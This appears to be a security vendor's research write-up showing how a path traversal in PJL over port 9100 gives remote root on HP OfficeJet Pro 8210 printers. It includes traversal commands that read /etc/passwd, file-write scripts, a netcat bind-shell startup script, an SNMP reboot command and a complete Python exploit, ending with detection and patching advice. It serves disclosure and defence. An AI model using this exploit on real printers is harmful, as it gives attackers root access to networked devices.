Printers. They are everywhere. In big businesses. In small businesses. In our homes. In our schools. Wherever you go, there they are. But where are they in your threat model? When was the last time you updated the firmware? Do you know if there are public exploits for your printer?

For example, in early April, Hewlett Packard released a security bulletin titled, HP PageWide Printers, HP OfficeJet Pro Printers, Arbitrary Code Execution. The bulletin states:

A potential security vulnerability has been identified with certain HP printers. This vulnerability could potentially be exploited to execute arbitrary code.

That’s not an especially useful summary since most customers will stop reading at “potential.” Even more useless is the description of the assigned CVE (2017-2741). At the time of writing, over two months after the HP security bulletin, the CVE lacks any type of description because it remains in the “RESERVED” state.

Ever curious, the Tenable reverse engineers were intrigued by this “potential” security vulnerability that was given a CVSSv2 score of 9.8. Always willing to indulge our curiosity, we purchased a couple of printers listed in the advisory (HP OfficeJet Pro 8210).

A new type of printer stack

Purchasing new hardware and hoping the vulnerable firmware is still installed is always a gamble. Who knows how much work it will require to undo the patching? Fortunately, both printers arrived with vulnerable firmware installed and updates disabled.

Firmware details in the web interface

One of the many frustrating things about Hewlett Packard’s security bulletin is that it tells the reader to download the firmware update from www.hp.com/support. Good luck with that though; the OfficeJet Pro 8210’s firmware isn’t available for download. However, using the Install updates automatically and Check now features on the printer’s web interface, we were able to update a printer to a patched firmware.

At this point, we had both a patched and an unpatched printer. Time to start digging for remote code execution.

We started with an Nmap scan to find the open printer’s ports:

[email protected]:~$ nmap -A 192.168.1.159 Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT Nmap scan report for HP0A6BFE.westeros (192.168.1.159) Host is up (0.014s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 80/tcp open http HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A; 443/tcp open ssl/https HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A; 515/tcp open printer 631/tcp open ssl/ipp HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A; 8080/tcp open http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A; 9100/tcp open jetdirect?

There’s nothing too surprising here. HTTP servers listening on ports 80, 443, and 8080. Line Printer Daemon (LPD) on port 515. Internet Printing Protocol (IPP) on port 631. Nmap flags port 9100 as “jetdirect?” which generally means “raw printing” or port 9100 printing.

HP refers to port 9100 printing as “HP proprietary,” but it’s widely known that it supports raw printing as well as PCL, PostScript, and PJL. Here’s a simple example of using PJL over port 9100 to get the printer’s device information:

[email protected]:~$ nc 192.168.1.159 9100 @PJL INFO ID @PJL INFO ID "HP OfficeJet Pro 8210"

Jens Müller recently wrote a paper titled Exploiting Network Printers: A Survey of Security Flaws in Laser Printers and Multi-Function Devices that details common vulnerabilities in printers. One of the common vulnerabilities the author presents is path traversal via PJL. For example, consider the following PJL command for listing a directory on the printer:

[email protected]:~$ nc 192.168.1.159 9100 @PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="0:/" ENTR tmp/ TYPE=DIR csr_misc/ TYPE=DIR

You can see the directory name being listed is 0:/ and that the printer responds with two sub-directories: tmp/ and csr_misc/ . What happens if you try to move up a couple of directories using the path 0:/../../ ?

[email protected]:~$ nc 192.168.1.158 9100 @PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="0:/../../" ENTRY=1 rw/ TYPE=DIR ram/ TYPE=DIR rom/ TYPE=DIR .sig/ TYPE=DIR

As you can see, the printer responds with a new list of directories. It looks like we might have an attack vector here. Below, you can see that executing the same PJL command on the patched printer generates a FILEERROR . We know HP has fixed this between our two firmware versions. There is a good chance this could lead to the security bulletin’s remote code execution.

[email protected]:~$ nc 192.168.1.159 9100 @PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="0:/../../" FILEERROR=0

However, this traversal doesn’t seem immediately useful. The file structure doesn’t look like any root filesystem the I’m familiar with. Perhaps there is another directory traversal vector?

[email protected]:~$ nc 192.168.1.158 9100 @PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4 @PJL FSDIRLIST NAME="../../" FILEERROR=0 @PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4 @PJL FSDIRLIST NAME="../../bin/" ENTRY=1 getopt TYPE=FILE SIZE=880020 setarch TYPE=FILE SIZE=880020 dd TYPE=FILE SIZE=880020 cp TYPE=FILE SIZE=880020

Here, I tried ../../ but that generated a FILEERROR . However, ../../bin lists files that you’d find in a traditional Linux /bin directory. It appears you can traverse into the Linux filesystem.

But how can you turn these directory traversals into remote code execution? First, you need to know a few other PJL commands: FSQUERY , FSUPLOAD , and FSDOWNLOAD . These three commands will give you r/w access to the printer’s filesystems. For example, I can leverage FSQUERY and FSUPLOAD with the directory traversal to retrieve the contents of /etc/passwd :

@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648 @PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648 root:x:0:0:root:/var/root:/bin/sh daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync mail:x:8:8:mail:/var/spool/mail:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh operator:x:37:37:Operator:/var:/bin/sh haldaemon:x:68:68:hald:/:/bin/sh dbus:x:81:81:dbus:/var/run/dbus:/bin/sh ftp:x:83:83:ftp:/home/ftp:/bin/sh nobody:x:99:99:nobody:/home:/bin/sh sshd:x:103:99:Operator:/var:/bin/sh default:x:1000:1000:Default non-root user:/home/default:/bin/sh _ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false

Who cares about reading files though? I want to write them. FSDOWNLOAD requires sending the ESC character so instead of using Netcat I’ve written a Python script that tries to write to ../../tmp/writing_test :

import socket import sys test = ('test') if len(sys.argv) != 3: print '

Usage:upload.py [ip] [port]

' sys.exit() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address sock.connect(server_address) dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="../../tmp/writing_test"\r

' dir_query += test dir_query += '\x1b%-12345X' sock.sendall(dir_query) sock.close()

Unfortunately, this script fails to write the file. It appears the process interpreting the PJL doesn’t have write access on the Linux filesystem:

[email protected]:~$ python write_test.py 192.168.1.158 9100 connecting to 192.168.1.158 port 9100 [email protected]:~$ nc 192.168.1.158 9100 @PJL FSQUERY NAME="../../tmp/writing_test" @PJL FSQUERY NAME="../../tmp/writing_test" FILEERROR=0

This is a big blow to our attempt to gain remote code execution. Without access to the Linux filesystem, the odds of replacing a binary or getting a Bash script executed are greatly diminished. At this point, our only hope is that the 0:/ filesystem is writable and that a file written there can get executed in some way.

I’ll spare you the boring details of combing through the 0:/ filesystem, but I eventually noticed that there was some overlap with the Linux filesystem. In particular, 0:/../../rw/var/etc/profile.d/ caught my eye because, traditionally, the profile.d directory contains scripts that get executed at startup. Furthermore, the directories appeared to contain the same data:

[email protected]:~$ nc 192.168.1.158 9100 @PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 .sig/ TYPE=DIR @PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1< .sig/ TYPE=DIR

In order to test if I could write to profile.d via the 0:/ filesystem, I updated the FSDOWNLOAD Python script to write a file to 0:/../../rw/var/etc/profile.d/writing_test :

import socket import sys test = ('test') if len(sys.argv) != 3: print '

Usage:upload.py [ip] [port]

' sys.exit() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address sock.connect(server_address) dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"\r

dir_query += test dir_query += '\x1b%-12345X' sock.sendall(dir_query) sock.close()

As you can see below, the Python script now works! The new file is also visible via traversal of the Linux filesystem:

[email protected]:~$ python write_test.py 192.168.1.158 9100 connecting to 192.168.1.158 port 9100 [email protected]:~$ nc 192.168.1.158 9100 @PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 .sig/ TYPE=DIR writing_test TYPE=FILE SIZE=4

You now have write access to a location that likely contains startup scripts. You are so close to remote code execution. Now you just need to write a script and figure out how to reboot the printer so the script will get executed.

The obvious choice for our startup script is one that will give us shell access. Since the printer has netcat installed, I chose to to create a script that creates a bind shell on port 1270:

if [ ! -p /tmp/pwned ]; then mkfifo /tmp/pwned cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned & fi

With that decided, our focus shifts to remotely rebooting the printer. One method would be using the Power Cycle function in the web interface (under the Tools menu). Another method is using the SNMP printer MIB to power cycle the device.

[email protected]:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4 iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4

In the following script, I’ve combined writing the startup script to the profile.d directory and the SNMP reboot:

## # Create a bind shell on an unpatched OfficeJet 8210 # Write a script to profile.d and reboot the device. When it comes # back online then nc to port 1270. # # easysnmp instructions: # sudo apt-get install libsnmp-dev # pip install easysnmp ## import socket import sys from easysnmp import snmp_set profile_d_script = ('if [ ! -p /tmp/pwned ]; then

' '\tmkfifo /tmp/pwned

' '\tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &

'fi

') if len(sys.argv) != 3: print '

Usage:upload.py [ip] [port]

' sys.exit() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address sock.connect(server_address) dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r

' dir_query += profile_d_script dir_query += '\x1b%-12345X' sock.sendall(dir_query) sock.close() sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock1.connect(server_address) dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r

' sock1.sendall(dir_query) response = '' while True: data = sock1.recv(1) if '

' == data: break response += data print response snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1) print 'Done! Try port 1270 in ~30 seconds'

You can run the script and, about thirty seconds later, have a root shell via port 1270.

[email protected]:~$ python printer_exploit.py 192.168.1.158 9100 connecting to 192.168.1.158 port 9100 @PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119 Done! Try port 1270 in ~30 seconds [email protected]:~$ nc 192.168.1.158 1270 whoami root

Tenable solutions

Fortunately for everyone, this little vulnerability is quite easy to detect once you understand the attack vector. Tenable released Nessus plugin 100461 in late May to detect this vulnerability. Also, changes were made so that Nessus no longer causes port 9100 to print during service discovery. Hopefully, that will encourage more customers to enable printer scanning.

To summarize, don’t overlook printers in your threat model. A printer is a computer and it should be treated like one. Scan it. Update it. Monitor it. Who knows what might lurk within?